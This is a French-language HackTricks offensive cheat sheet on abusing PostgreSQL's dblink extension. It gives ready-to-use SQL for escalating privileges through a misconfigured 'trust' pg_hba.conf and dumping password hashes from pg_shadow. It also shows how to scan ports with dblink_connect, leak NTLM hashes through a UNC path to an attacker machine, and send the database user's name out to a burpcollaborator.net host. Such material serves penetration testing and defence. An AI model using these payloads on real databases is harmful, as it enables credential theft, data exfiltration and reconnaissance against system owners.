6.3 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Trouvez plus d'informations sur ces attaques dans le document original.
Depuis PostgreSQL 9.1, l'installation de modules supplémentaires est simple. Les extensions enregistrées comme dblink
peuvent être installées avec CREATE EXTENSION
:
CREATE EXTENSION dblink;
Une fois que vous avez chargé dblink, vous pourriez être en mesure d'effectuer des astuces intéressantes :
Escalade de Privilèges
Le fichier pg_hba.conf
pourrait être mal configuré permettant des connexions depuis localhost en tant qu'utilisateur quelconque sans avoir besoin de connaître le mot de passe. Ce fichier se trouve généralement dans /etc/postgresql/12/main/pg_hba.conf
et une mauvaise configuration ressemble à :
local all all trust
Remarque que cette configuration est couramment utilisée pour modifier le mot de passe d'un utilisateur de la base de données lorsque l'administrateur l'oublie, donc parfois vous pouvez le trouver.
Remarque également que le fichier pg_hba.conf est lisible uniquement par l'utilisateur et le groupe postgres et modifiable uniquement par l'utilisateur postgres.
Ce cas est utile si vous avez déjà un shell à l'intérieur de la victime car cela vous permettra de vous connecter à la base de données postgresql.
Une autre mauvaise configuration possible consiste en quelque chose comme ceci :
host all all 127.0.0.1/32 trust
Comme cela permettra à tout le monde depuis le localhost de se connecter à la base de données en tant qu'utilisateur.
Dans ce cas et si la fonction dblink
est fonctionnelle, vous pourriez escalader les privilèges en vous connectant à la base de données via une connexion déjà établie et accéder à des données auxquelles vous ne devriez pas avoir accès :
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
Port Scanning
En abusant de dblink_connect
, vous pourriez également rechercher des ports ouverts. Si cette **fonction ne fonctionne pas, vous devriez essayer d'utiliser dblink_connect_u()
car la documentation indique que dblink_connect_u()
est identique à dblink_connect()
, sauf qu'elle permettra aux non-superutilisateurs de se connecter en utilisant n'importe quelle méthode d'authentification_.
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTP server
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTPS server
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
Notez que avant de pouvoir utiliser dblink_connect
ou dblink_connect_u
, vous devrez peut-être exécuter :
CREATE extension dblink;
Chemin UNC - divulgation de hachage NTLM
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Formation Expert Red Team AWS (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Formation Expert Red Team GCP (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.